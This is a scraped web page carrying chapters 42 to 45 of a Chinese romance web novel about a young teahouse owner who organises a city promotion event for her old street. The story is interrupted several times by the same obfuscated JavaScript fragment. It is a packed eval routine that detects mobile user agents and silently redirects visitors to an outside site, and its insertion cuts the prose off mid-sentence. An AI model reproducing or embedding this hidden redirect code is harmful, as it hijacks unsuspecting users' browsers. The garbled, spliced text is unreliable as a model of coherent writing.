d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14354253|148187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面,又有手写的几个字:【首个受邀街区:长坪老街】。 余念念抬起头,看向常主任,有点不敢相信:“这......这是让我......代表老街,参加......市里的活动?” 常主任点点头。 余念念第一反应是拒绝:“这,这个责任太重大了,我怕......” “别怕!出了问题算我的!”常主任坚定地说道。 “可......可我能算老街的人么?能替老街做主么?” 魏大爷插进来:“谁说你不能?整个老街上,谁还不认你老街茶馆余老板?” “我这么个小年轻,辈分低资历浅,怎么敢代表老街......”余念念迟疑着。 刘大爷眉头一挑眼一瞪:“小余!你刚来老街开店的时候,就敢单枪匹马派小萝卜头给我们一群老家伙递请帖,开张当天大摆象棋直播大赛,跨年晚会办得热火朝天市领导都另眼相看,你有什么不敢的,我看你敢得很!” 余念念干笑两声,眼神在一众老街街坊大爷之间来回逡巡。 常主任又说:“小余,我们老街这么久以来习惯了被遗忘,别人都觉得老街只有老和旧,是你让它的美被别人看见,我觉得,没人比你更合适做这次的主事人了。” “是啊!”“你不上谁上!”“小余你行的!”大爷们疯狂赞同。 柜台后,小优兴奋地吹了声口哨,又热血地举起胳膊,大喊:“老板,别怂!” 余念念抿着嘴,低头矜持片刻,终于抬起头:“好,我上。” 常主任和街坊大爷们满意地笑了,茶馆里一时间喧闹沸腾。 “我们老街出息了啊!” “这活动有奖金么?” “哎,咱们会不会上电视新闻啊?” ...... 短暂的热血上涌后,余念念仔细看了看手中的卡片,开口问道:“常主任,这,‘主题活动’,是什么主题啊?” “哦,市领导说了,每个受邀街区的主题都由街区自己定,我们是第一个街区,打头阵,所以啊,我们的主题就由你来定!” 余念念哦了一声,定主题这类事她之前在广告公司上班的时候常干,倒是不杵,她脑子里已经有初步的想法了。 “那,活动时间呢?” “一个月之后。” 常主任事情谈妥,心满意足地起身,冲余念念摆摆手:“小余,有任何需要,都可以来居委会找我。”说着,又大手一挥,扫射了全场大爷们,“找他们也行,他们不配合也得配合!” “嗨,瞧您说的!我们能不配合么!”“为了老街好!”“我们又不是只会下棋!” 常主任精神矍铄地往外走着,突然想起什么,扭头冲余念念道:“对了,这次活动,市政府统一找了负责宣传的广告公司,过几天,你作为首个活动的甲方,去跟广告公司开个碰头会,那公司叫什么来着,哦,好像叫......丰岚。” 余念念浑身一震,僵立当下:“您说什么?丰岚?!” 42. 惊吓 如果说魏大爷可能在茶馆门口安了摄像头,那余念念怀疑,何景明在茶馆里面装了窃听器。 否则,她不理解他何以如此灵敏,在常主任通知完的第二天,就到茶馆打探消息。 “余老板,听说你负责主办老街报到市里的主题宣传活动?”一进门,他就半个身子伏在柜台上,一脸兴奋地问道。 余念念抬头扫了他一眼,没有立刻回答,只是问:“今天学校孩子们要来?我怎么不记得。” “哦......”何景明微微直起身子,讪笑了下,“今天孩子们确实不来,是我个人对这次活动比较感兴趣,来找余老板问下,看有没有我能帮上忙的。” 余念念脑子里不知为什么想到村长——这两个人都有着抓住一切机会自我宣传的特质,只是,一个直爽得可爱,另一个,却有着令人隐隐不适的虚伪。 “现在什么都还没定呢,过几天,我去和广告公司开会,到时候要是有需要,再找何先生。” 何景明眼中一亮:“过几天开会,我能不能一起去?” 见余念念眉头轻皱,他又赶紧解释:“哦,余老板别误会,我只是想看看有没有合适的地方给学校做做宣传,毕竟,现在喜欢下象棋的小孩儿真不太多......当然,如果方案不合适,我也不会强求的!” 余念念想了想,点点头:“倒也不是不行,只是,何先生做好无功而返的心理准备就好。” 何景明极为客气地抱拳道谢,出了门去。 门刚合上,小优抽了抽鼻子,嘟囔了句:“奇怪......” “什么奇怪?” “他身上有股香水味,跟之前白砚妈妈身上的一模一样,你没闻出来?” 余念念摇摇头:“我不怎么喷香水,没你对味道这么灵敏。” 几秒钟的沉默后,两人同时倒抽一口凉气,互相瞪着对方。 “......不会吧?”小优捂着嘴问。 “不会......吧......”余念念语气极不确定。 “要不要——?”小优又犹疑着问,指了指老街里面的方向。 余念念皱眉沉思片刻,摇摇头:“先不要......是我们瞎猜的,要是弄错了,只会让白砚尴尬。” —————— 傍晚,茶馆一楼大堂里空下来,所有人都回家吃晚饭了。 余念念正在小本本上列着市里示范街区活动的一些准备事项,听到茶馆大门发出阵吱吖声。 她抬头看,门又犹犹豫豫地合上了,几秒钟后,又颤颤巍巍被推开。 来人似乎很犹豫,反复推开、关上,终于,一个瘦小的身影慢慢从门后钻进来。 余念念“啊”地一声起了身,与来人四目相对。 陈帆母亲的眼神很快躲避开来,低头看着自己脚尖,整个身体向中心收缩着。 “阿姨,坐吧。”余念念温声道,走上前,将她拉到一张桌子边,倒了杯热茶递到她手上,接着,自己也在她对面坐下。 女人两手不安地在桌面上互相绞着,余念念等了一会儿,见她似乎不知如何开口,便轻声问:“阿姨,您贵姓?” 女人意外地抬头,余念念笑着道:“只知道您是陈帆的妈妈,不知道您本人姓什么。” “我......我姓郑,叫郑三娥。”女人操着浓重的崇安口音,一板一眼报上姓名。 余念念想起陈帆曾经说过,他们母子二人是一个老实的女人带着一个老实的小孩,眼下看,他对他母亲的描述十分贴切,她看上去确实是个习惯了逆来顺受的老实女人。 “郑阿姨,您是不是来找陈帆?他还没来,天黑了他才会来。” 女人摇摇头:“我不找他,我把他支走了,专门来找你。” 余念念有些意外:“找我?您找我有什么事么?” 女人脸色浮现出焦急,手绞得发白:“陈帆不听我的,他非要在你这里打工,但是,这会影响他的工作的,他不应该来......你,你懂么?” 她浑浊而疲惫的眼珠子看着余念念,满是皱纹的脸上是期望得到理解的表情。 但余念念其实不能理解,她沉默了几秒,将音量放得更加柔和:“郑阿姨,我跟陈帆聊过的,他很喜欢在天台调酒,这能让他开心,他在居委会的工作比较沉闷,晚上来放松一下,不好么?” “不好!”女人直直答道,说完,似乎被自己的音量吓到,又瑟缩地看了余念念一眼,眼神由焦虑转为请求——近乎哀求,抖着嗓子问:“你就不能......把他辞掉么?他必须在居委会好好工作,不然......不然......不行的!” “不然会怎样?”余念念好奇地问。 “......我求求你,把他辞掉吧,好么?”女人眼眶发红。 余念念心脏像被人揪了一把——在她的认知里,陈帆来天台调酒,只是生活里一剂调味剂,无足轻重,她没想到,在他母亲那里,这却是一块悬在头顶的巨石,有将生活砸碎的风险。 “阿姨,陈帆不要工资,他自愿来调酒,我没法辞退他,但我答应您,一定找他好好聊聊,把事情说清楚......” 女人猛地站起身,在余念念无法反应之际,直直跪了下来,嘴里不停喊着:“求求你!我求求你了!” 余念念被吓懵了。 她懵了几秒,才从椅子上弹起来,去拉女人的胳膊。 身后,小优也慌乱地从柜台后冲出来,扶住女人的另一只胳膊往上抬。 但绝望的情绪和常年做沉重家务练出来实打实的力道让她像一块死死吸在地上的巨大磁铁,怎么也扶不起来。 三个女人在茶馆大堂里进行着一场战争似的拉锯,喘息声和哀求声飘荡在凝固一般的空气里。 余念念几乎要哭出来。 “念念!” 一道声音从门口传来,听在余念念耳朵里,如同天神降临。 白砚冲了过来,一把就将陈帆母亲的身体提起来,稳稳当当扶到椅子上坐好,接着,转回身,安抚地看着余念念,见她眼眶通红,两手扶住她的肩膀,低声道:“没事了。” 一旁,坐着的女人像是走火入魔后突然恢复了神志, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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白砚跟在她身后,两人的身影被亮起来的路灯拉得细长,一前一后地交织在一起。 就这么走了半程,余念念的情绪彻底安稳下来,脚步也随之慢下来,渐渐与白砚肩并着肩走着。 “原来,老街上还有这么多隐藏的辛酸......”她低低道。 “哪里都一样,有美好,有丑陋。你第一天让我带你到天台看日落的时候就告诉过你,老街没那么美好,怎么,现在后悔了?” 余念念刚要张嘴,被白砚一支大手按在脑袋上:“后悔也晚了!” 走着走着,经过通向河边的小巷时,白砚猛地转弯,拉着余念念拐了进去。 “——哎!干嘛!” “今天受了惊吓,不回茶馆了,旷工一晚,出去玩。” “......小优也受了惊吓,把茶馆丢给她一晚上,会不会有点残忍。” “......管不了她,我只能管你。” 一时之间,不知道该称天仙为渣男,还是暖男。 43. 嘴硬 时隔几个月,再一次走近丰岚办公大楼,一切都变了。 余念念停住脚步,看向伫立在高处巨大的“丰岚”二字,心境比想象中要平和。她身后,一左一右,白砚和何景明随着她的动作也顿住了脚步,等着她继续往前。 一楼的大厅里,两个男人的身影一前一后迎出来,走在前面的贾福满脸堆笑——余念念曾经很多次跟在他身后看着他带着同样的笑意迎向曾经的甲方——只是,脸上皱纹密了不少,整个人看上去老了好几岁。在他身后,项卓面无表情,隔了几步跟着。 “余老板!”贾福喊得自然,手伸得也很热情,看来早早就做好了心理建设。 余念念脑子里浮现出他曾经各种语气各种腔调的“小余”,对这声“余老板”免不了有些唏嘘,但面上没表现出来,微笑着与他握手,交错间,几个月前的芥蒂似乎烟消云散。 只是,曾经是互相信赖的师徒、并肩奋斗的战友,眼下,只是被一纸合同强行联在一起的甲方乙方。做乙方的,陪着笑脸,做甲方的,也没多情愿。 “白砚先生,老熟人了,也是我这次老街活动的合作摄影师。何景明先生,老街附近象棋学校的外联负责人,对老街很熟,来一起聊一下方案。” 余念念介绍了身后的两个男人,贾福很客气地一一握了手,项卓站在他侧后方两三步地地方,看上去很恭敬谦逊地低着头,也不上前来招呼,余念念于是面无表情地径直从他面前走了过去,只是,白砚走过他面前时,他从鼻孔里喷出声气,让余念念脚步一顿。 “项先生有话要说?”余念念面对贾福时的微笑退去,退回两步,站在项卓面前问。 项卓像是没预料到她会发问,愣了几秒,一旁,贾福脸上笑容变得僵硬,摆着手道:“怎么会!小项他......他最近感冒了鼻子不舒服,我说小项,鼻子不舒服你也要忍忍,怎么能当着客户的面通鼻子呢,多不雅观!” “是是!”项卓点头道,“我一会儿一定注意!” “不是对白砚有意见就好,在白砚和项卓先生之间,我只会无条件信任白砚——” 项卓脸色一垮。 “——毕竟,他是我房东嘛!”余念念干笑着说道,连自己心里都觉得这句话要多冷有多冷。 贾福和项卓却像是听了好笑的笑话,齐齐放松地笑起来。 “那么,期待一会儿项卓先生的方案演示喽!”余念念随口道。 丰岚二人组闻言却又是一僵,贾福微笑像糊在坚硬的墙面上而不是脸皮上,项卓的嘴角半扯半落、最终还是落下,看得余念念一阵莫名其妙。 十五分钟后,丰岚会议室。 项卓方案介绍完毕,余念念明白了刚刚他们俩僵硬表情的缘由,也大概知道了贾福为什么隔了几个月像老了好几岁。 因为项卓摆烂得太明显了。 如果不注意听,她以为她重复听了一遍几个月前他给赵主任做的西流镇文旅展的策划方案——网红炸街、行人打卡、直播助兴,连PPT模版都没换,有一两页,余念念甚至眼尖地看到他漏掉没改的“西流镇”字眼。 余念念深呼吸一口,问:“那么,总结下来,你们建议的主题是什么呢?” 项卓十分谦逊地道:“跟着大咖炸老街。” 会议室里一片安静。 白砚一如既往看了眼开头便低下了头,何景明听得微微皱眉,可能是向来维持场面不尴尬的本能让他拍了几下手,很快便更加尴尬地停下,有些不知所措地左右打量。 余念念看向贾福,一瞬间心里涌起一阵哀其不幸怒其不争的荒谬感——这就是你现在对待项目的态度?再这样下去丰岚是要倒闭了么?! 贾福接收到她的眼神,脸上的笑容在一霎那变得既无奈又卑微,但几秒钟后,被收拾妥当,用一股混迹职场几十年的客套语调道:“那个,余老板,你是行家出身,我知道,再怎么努力,方案可能也入不了你的眼,所以,您有什么想法,就请不吝赐教吧。” 他曾经是她最信赖的师傅,他也曾经是她痛恨的背弃者,但此时,他只是个无可奈何的中年人,钻研向上的道路既磨损了他的意气,也消耗了他的能力。 看清了这一点,余念念不再多言,站起身,走到会议室正前方,朗声道:“好,那我直接来说一下我的想法。我建议的主题是:【老街新韵】,老街之老,在于老街坊、老建筑、老街道、老传统,老街之新,在于孕育新契机、找到新定位、发掘新机会,新老交融之处,自有和谐共存之美......” ...... 贾福眼里闪烁着一丝奇异的光,胸膛起伏片刻,脱口而出:“小余——”,话出了口,才反应过来,连忙改口道:“哦,余老板!你的想法很完善,我觉得,能完全契合老街的主题,我听说,你的茶馆现在是整条老街上最受欢迎的店铺,想必你也是倾注了所有心血在里面。” 余念念笑着道:“当然。” “当然......”贾福喃喃道,“当然,你向来做什么都百分百投入,不像......” “贾经理!”余念念截住他的话头,有些话多说无用,除了让某些人心怀怨恨外,对于后面的合作毫无益处,“那如果没问题的话,就按我刚刚的提议来推进吧,我会出一份更详细的方案,其中的摄影素材我和白砚会自行商量,贵公司只需要配合我们做好其他方面的工作即可。” 何景明插进来:“太好了!余老板,我觉得我们象棋学校很契合你主题中的‘新韵’二字,做方案的时候,这部分多多考虑下我们。” 余念念微顿一下,说:“这个要再仔细考虑,不能喧宾夺主。” “那是,那是......”何景明忙应道。 “余老板,今天聊得顺利,我做东,晚上一起吃个饭!”贾福一边说着,一边往外走,嘴里招呼着:“那个谁!小艺!帮我订个晚上的包间——” 余念念正要追上去拒绝, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14397979|148187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身后,一声不高不低不阴不阳的话传到耳边。 “白先生,看不出来,你还是个痴情种啊......” 项卓低头收拾着笔记本,白砚坐他对面,闻言,只微微挑了挑眼皮扫了他一眼,嘴都懒得张一下。 “哼,一次两次地给人当陪衬,看样子也不像男女朋友,你说你图什么,这不是剃头挑子一头热么。” “项卓!”余念念大吼一声,吓得站在门外的何景明伸头进来看了一眼,见屋内气氛紧绷,又赶紧借口上洗手间走远。 白砚抬头看向余念念,嘴角不易察觉地勾了起来。 “白砚随随便便拍张照片市场价顶你一年的工资!有工夫在这里阴阳怪气,不如好好替自己考虑考虑吧!不止一次了,你的方案长眼睛的人都看得出来只配进废纸篓,你们组业绩下滑得厉害吧?季度奖金泡汤了吧?老贾新长的白头发都是你气出来的吧?长点心吧你!” “你,你——”项卓脸色发白,抖着嗓子说不出话。 业绩确实是垫底了,奖金确实是无法奢望了,老贾也确实一见他就叹气。不愧是上过两年班的前广告公司准优秀员工,刀刀精准往人心巴上扎。 “饭店已经订好了,走吧余老板!”贾福这时钻进会议室,一脸轻松愉悦地说道。 “不了,对着某些人的嘴脸,吃不下。”余念念冰着一张脸,拉起白砚,越过贾福出了门,径直走向电梯,头也不回地挥挥手,扔下句:“加油,老贾!” —————— 下了丰岚大楼,两人走到路边,余念念伸手招到一辆出租车。 “不等何景明了?”白砚问。 “不等了,他又不回老街,自己哪来的回哪去吧。” 车辆行驶一阵子,车厢里突然飘起一阵轻快的哼唱声,余念念从窗外扭过头,瞪着白砚:“你心情很好?” 白砚点头,眼里憋不住的笑意:“嗯,很好。” 余念念翻了个白眼:“他那么说你你还心情好?” “他是哪位?连名字我都没记住。但是,余老板霸气护夫的样子,却令人印象深刻。”白砚盯着她的眼睛道。 “......注意你的用词!人家都说了,咱俩看着就不像一对!” 白砚叹了口气:“他说的也没错,我就是剃头挑子一头热......” 余念念:“......” 她内心狂喊:收起你的茶味! “但是,你怎么知道我一张照片顶他一年的工资?你对我挣钱养家的能力很有信心?” “......吵架时说的话你也较真?而且,谁用你挣钱养家?我的茶馆也很挣钱好么!”话刚出口,余念念表情一僵,但已经晚了。 白砚笑意更盛,探过上半身,低声问:“哦?这么说,余老板要养我?” 余念念僵硬着脑袋,一点一点扭向窗外,极小声道:“......你听错了,我可养不起天仙......” 44. 期限 老街新韵。 一说出口,这个主题就收获了满堂彩。 常主任脸上满是激赏:“好啊,宣传老街,既不能完全只说老,也不能一味地求新,这个‘老街新韵’就很妙了!” 一旁,白老面上露出自豪的表情:“那当然,我们小余干什么不是第一名,老常啊,有小余在,你们老街居委会真是享清福喽!” 白老的语气像在夸自家人,老街一众街坊大爷发出八卦的低笑,白砚坐在后排低头微笑着不说话,余念念脸上逐渐升温。 “那个——所以今天请各位街坊来呢,一是宣布这个主题,另外呢,也是来分配任务的!”余念念清了清嗓子,严肃认真地说道。 “任务?我也能有任务么?我啥特长也没有啊。”常主任对面,早点铺老孙面露疑惑地问。 老孙旁边坐着照相馆的老潘,不久前惨白的脸色经过一段时间的规律作息已经变得正常,他拍了拍老孙的肩膀,笑起来:“咱俩也出息了,能在这样的活动中领到任务了!” 一旁,李婶干笑了两声,有些局促、又有些激动地说:“你们好歹一个开照相馆一个开早点铺,也算是有点手艺,我一个啥也不干天天就会动动嘴巴的人,居然也有任务啊。” 在他们后面,棋下了一半丢在一边跑来围观的象棋大爷们叽叽喳喳插嘴:“小余,我们呢?”“对啊,我们可不能掉队!”“我们算老还算新呐,我觉得我能新一下子!”...... 余念念拍着手站到中间,挥手做了个收声的手势,十分有效,茶馆又安静下来。 “活动当天,人们大多从十字路口进入老街,我们要从入口的公告牌就开始武装,让不管是有意还是无意走进老街的人从一开始就感受到老街特别的韵味。那么,进了老街之后呢,有几个地方需要设计重点任务。公告牌对面第一站,是茶馆,各位下棋的大爷有两个隐藏任务,一是做好NPC,很简单就像往常一样下棋就好,只不过会有更多观众围观;二是保持稳定的棋艺和平和的心态,因为不管赢和输都会通过大屏幕直播给来来往往的行人,赢了固然有面子,输了也不能红脸。” 下棋的大爷们短暂的沉默,接着爆发出巨大的争论。 “NPC是啥?” “活动哪天来着?我做身新衣裳来得及么?” “我不跟老魏下,老刘到时候咱俩下!” “欸听你这意思是不是瞧不起我?!” ...... 余念念音量放大,盖过大爷们的争吵:“过了茶馆往前,就是老孙早点铺和李婶的家了,孙叔的早点香飘十里,基本上整条街的人每天早上都要来买,外面的人来了自然也会被香味吸引。李婶呢就不一样了,其他人可能不知道,但我知道,李婶的崇安双臭做得一绝,我刚搬来的时候曾经被熏吐过,现在已经一闻就流口水了,绝对是臭冠老街味道一绝。到时候,您两位隔空过招,一香一臭,引爆嗅觉炸弹,攻陷大家的味蕾,记得当天多备点食材哦!” 孙叔搓着手:“倒也没有香飘十里......顶多十米吧......”说着,顿了顿,眉头皱起来:“不对啊,我的香味一出来,不就被她的臭味给盖住了么?” 李婶满脸掩盖不住的激动表情:“你盖住我还是我盖住你,到时候咱们就各凭本事吧!哎呀小余,这么多年了,我的崇安双臭终于遇见伯乐了!你说的太对了,它可不就是最地道的老街味道么!外面都没有这么正宗的呀!” “是是是!”余念念笑着道,“李婶,您也要有心理准备,虽说咱地道,但肯定也有接受不了的人,到时候要是有人捏着鼻子从您面前跑过去,您可别生气!” “不生气不生气!” “再往里走呢,就是老潘照相馆和对面的颜喜书画斋,一个用传统的书画记录老街的古韵,一个用现代的相机记录街坊的面孔。白老,我记得颜喜斋里有几幅老街风貌地形图,到时候可以把那几幅放在最显眼的位置吧?潘叔,选几幅老街几代人的全家福放大挂到照相馆外面,还有,您店里的窗帘该洗了,改天我和白砚去给您做下卫生!” 颜喜书画斋的白家一老一小均笑着点头,统一一副“余念念说什么就是什么”的表情。 老潘脸上露出羞赧的笑容,一手摸着后脑勺:“我店里是有点脏乱,大老爷们不讲究,就按你们的意思来,想怎么整就怎么整。” “好!至此呢,行人已经走到老街深处了,在老街尽头,是一间五层楼的气派老宅,叫‘安福楼’,常主任,我打听过了,这是您家的祖宅,不知道可不可以借用一下?既可以让大家参观一下老街上最富有年代感的老建筑,又可以在宽阔的院子里布置展台,我想在那里安排白砚的老街主题摄影展,作为活动的压轴流程。” “哈哈哈哈哈哈!”常主任一阵爽朗的笑声,“余老板的功课做得好,算盘也打得响,所有资源都被你盘活了、用尽了!我们常家的老宅子空了几十年了,居然也能堪当一回大用,那当然是悉听尊便啦!” 说着,他扭头冲着白老道:“老白啊,还说我居委会享清福呢,看余老板这安排,你们老白家才是肥水不流外人田呐!哎,我那倒霉孙子也不知道在哪个国家混着,要是他人在这里,怎么也不能这么容易就让你老白家占了便宜!” “切!你可拉倒吧!你那孙子我前两年见过,一脸胡渣的粗糙样子,小余能看上?我们家白砚别的不说,皮囊上是顶尖的,跟小余是绝配!” “爷爷......”白砚默默伸出手,扯了扯白老的袖子,“什么皮囊?念念看上的肯定是我的内在。” 余念念:“......” 她背着手,装作有事要交代的样子,走向了坐在角落里的小汤包——他是被她从二楼叫下来旁听的。 “怎么样?听明白了么?” 小汤包点点头。 “那么,你可以向你们尊敬的老师何景明先生准确转达我们的活动方案喽?还有,最后安福楼的摄影展里,我会给象棋学校预留一些宣传窗口,记得让你们何老师提前准备哟!” 小汤包随口应着,看着不甚在意的样子,眼神直直看向白砚,嘴里问着:“老板姐姐,你跟小白哥哥进行到哪一步了?” “咳!咳咳!”余念念被口水呛住。 “他说你被他的内在吸引,是真的么?你对他一点都没有见色起意么?” “你!闭嘴!什么色?哪来的色?” 小汤包一本正经:“小白哥很有色,上次,他给我摸了他的腹肌,是标准的八块。” 余念念:“......什么时候?” “我说你们两个般配的那天,他心情很好,对我有求必应。” “那你干嘛要摸他腹肌!小孩子家家的,摸腹肌对下象棋有帮助么!” “帮你观察观察喽!我妈沉迷韩剧,经常带着我分析一对男女的恋爱走向,说有助于锻炼我的逻辑思维能力和以后的恋爱能力,但是,我还是第一次在生活中看到像你们这么标准的观察对象。” “......标准在哪里?” 小汤包扬了扬稚嫩的眉毛:“教科书里不是有写么,‘两个人的关系像隔了层窗户纸,却都不捅破’,就是那样的标准。” 余念念:“......失敬了,原来你真的是恋爱观察员......” —————— 傍晚时分,安福楼楼顶。 何景明的质问声从电话那头传过来,不光举着手机的余念念,连隔了几步之远的白砚也听得一清二楚。 “我说余老板,你做事情怎么这么不地道!开会为什么不等我一起?说好的多多考虑我象棋学校,最后只剩几张宣传照片?!” 余念念按下心中的不耐,解释道:“首先,开会我有通知你,是你有事来不了,我不能让老街上一群前辈街坊们等你一个人。其次,我告诉你的是象棋学校的宣传不能喧宾夺主,老街才是这次活动的主角,在最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14411305|148187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后的摄影展上适当宣传是最好的方案了。” “不不不!这完全不够!你听我说——” “何先生,我还有事,晚点再说吧。”余念念话音未落,手上手机被拿走,白砚皱着眉头挂了何景明的电话。 “浪费风景。”白砚将手机塞进余念念的大衣口袋,抬手指向一个方向,“看那里。” 余念念顺着他的手指看过去,一栋小楼的楼顶上,星星点点的光晕正在亮起,在一众高楼大厦的背景衬托下,显得独特而柔和。 “那是......我的茶馆?” 白砚点点头。 “原来从远处看,它是这样的......”她喃喃道。 下午快要日落时,他们从常主任那里拿到钥匙,赶到安福楼,为活动提前踩点考察。 一层一层看上来,又在楼顶接了个电话,眼下,夜幕已经降临。 白砚又拍了几张照片,天色彻底昏暗下来。 “走吧,天黑了。”余念念说着,进了屋子,里面已经一片漆黑。 她摸索着走向楼梯,脚下,木质地板在踩压下发出吱呀声。 “......白砚,救我,我怕黑。”余念念顿住,一动不敢动。 身后,白砚贴上来,揽住她的肩膀,给了她一部分安全感。 又往前走了两步,角落里传来一阵窸窸窣窣声,不知道是不是老鼠在逃窜。 余念念浑身僵硬,默默将头转向白砚怀里:“我......我怕老鼠!” 一阵闷笑声后,白砚问:“青蛙也怕,老鼠也怕,黑也怕,有你不怕的么?” 正要还嘴,身体失去平衡,下一秒,已经被白砚打横抱起来了,余念念心跳猛地加速,但又在黑暗中获得了莫大的安全感。 她默默在他怀里调整角度,手不老实地探索着。 “......余念念,你在乱摸什么?” “小汤包说,你有腹肌。” “......他摸没什么,你不能乱摸。” “为什么?”余念念一边摸,一边数:“真的有八块!啊——” 白砚双手一颠,将她颠得整个身体腾空,又接住,她紧紧搂住白砚的脖子,不敢再大放厥词。 沉默地下了五层楼,又出了大门,白砚将余念念放在院子中间的地上。 “里面没灯么?”余念念回头望了一眼,“那可麻烦了,还得找电工。” “有灯。”白砚答道。 “......”余念念哽了半秒,问:“那你不知道灯在哪里?” “知道。每层的楼梯上方就是,上楼的时候看到了。” “......那你是故意的?” “嗯,故意的。”白砚低声道,直直低头看着余念念,眼神不躲不闪。 余念念被他在昏暗里更加灼热的眼神烫到,呼吸急促地避了开来,却又被一双胳膊桎梏住。 今晚的天仙,有些不一样。他不像天仙,倒像是堕了天的魔,浑身散发出逼人的压迫感。 半分钟后,像是不忍心再逼迫,白砚长长叹了口气,将余念念抱进怀里。 “你知道吧?我当你的朋友当得很辛苦。”白砚低沉着声音问。 一阵沉默后,余念念在他的颈侧点点头。 “那么,给我一个期限好么?” 又是一阵沉默,余念念不知道是失去了思考能力,还是失去了语言能力,她怀疑自己的大脑和嘴巴两个器官统统都向今晚的天仙缴械投降了。 “这次活动结束后,好么?”白砚问。 点头。余念念无力反驳,只能点头。 “好,不许反悔。” 白砚松开胳膊,低头要去看余念念的脸,但她像一条滑溜的泥鳅,转身就跑。 老街入夜的街道上,余老板捂着脸狂奔,不敢回应任何一声招呼声,连茶馆也不敢回,直直冲上了李婶家的楼梯,“砰”地一声躲进了自己的房间里。 45. 前昔 一切有条不紊地进行着。 离老街活动日还剩不到一周的时间,余念念挑了个晴朗的日子,带着白砚到了洪家村。 时值早春,空气里已经隐隐带着暖意,村外的农田比人对气候变化更加敏感,已经冒着新鲜的一丝绿意,等着今年第一波勤劳的人来耕。 村长肯定是最勤劳的人之一。 远远地在入村的村道上走着,余念念眼尖地瞄见村里走出一个熟悉的矮壮身影——村长头戴那顶万年不变的深蓝色工装帽,肩扛一把锄头,像头眼里只有地的老牛一样盯着眼前的地面大踏步朝前走着。 “咳咳!”余念念上前两步,拦在他面前,清了清嗓子。 “啧”地一声,村长不耐烦地抬头,见是余念念,眼里冒出惊喜的光:“小余!你咋来了!” 说着,眼神瞄到余念念身后的白砚,笑着冲他点了点头:“哟!俩人一起来的啊?” 他踌躇片刻,有些心急地扭头瞄了眼村外的庄稼地,冲他俩摆摆手:“行!你俩村里谈恋爱去吧!随便逛,中午一起去宝来家吃饭,我得赶紧去把我家的地犁一犁!” 余念念拦住他:“谁说我来谈恋爱的!” 村长“嗨”了一声:“你哪次来不是来找我诉苦的?这次看着心情这么好,又带了人来,总归不是诉苦了吧?那就没啥急事,我先搞搞我那地去!” 余念念也不拦他了,双手抱臂,站在原地,遥遥望着远处,声情并茂道:“崇安市举办的示范街区活动呐!不知道多少人要来参观呐!大好的宣传机会呀!” 村长脚下一顿,干咳两声,退了回来,绕着余念念转了一圈,看了眼她扬得老高的下巴,又走开,凑到白砚面前,问:“她说的是真的?” 白砚和村长没有余念念那么相熟,十分稳重地点点头:“是的,一个礼拜之后。” 村长一下子喜笑颜开,锄头从肩上卸下来丢到路边,一手拽上一个,往村里带:“快快快!给我讲讲!都有哪些宣传机会?一个也不许漏!” 余念念:“不犁地啦?” “嗨!地就在那里,晚点犁又跑不了!” “那,锄头也不要了?” “村里没人捡,一会儿回来还在!” ...... 银杏树边,村长和余念念并排坐在回廊下。 不远处,白砚举着相机不停找着角度拍着洪家村村里和村外的风景。 村长扭头瞄了余念念一眼:“怎么不说话了?” 两人刚刚已经把活动上可以给洪家村宣传的地方都仔仔细细过了一遍——家家户户挂着的洪宝来灯笼本来就很吸引眼球,茶馆的柜台上可以加上洪家村的土特产,最后安福楼的摄影展里也可以加几幅曾经在老街跨年活动上出圈的洪家村流水宴——聊完之后,余念念便盯着银杏树发呆,一动不动。 村长又问:“紧张啦?” 余念念长长叹了口气,悠悠道:“是有点紧张,毕竟,是市里的活动,抗着整条老街的压力。” 从茶馆开张那天开始,她的精神好像就一直紧绷着,一次比一次绷得紧。 村长点点头,又冲不远处白砚的背影努努嘴:“不是一直有人陪着你么。” 这次,余念念倒没有急着反驳,顺着村长的视线也看向那个身影,脸上露出微笑:“是啊,还好有他陪着,不然,不知道能不能扛过来。” “就这样,还不在一起?” 余念念不好意思地收回视线,偏过头去,含糊道:“可能......快了吧。” “哟!”村长八卦地一挑眉:“你还记得你们两个第一次来洪家村吃百家宴的时候么?村里人说来年带娃一起来,可真给他说中了不是!我算算,现在是年初,赶年底的百家宴,嘿,真可以!” “打住!”余念念大声道,“您这张嘴能不能收着点?难怪赵主任说要找您算帐——” “嗯?!”听到“赵主任”三个字,村长蹭地站起身,拿起回廊下的一把扫帚,瞪着余念念:“你还敢提赵主任!你是不是把我说她八卦的事给抖搂出去了?你知道她打电话骂了我多久么?!” 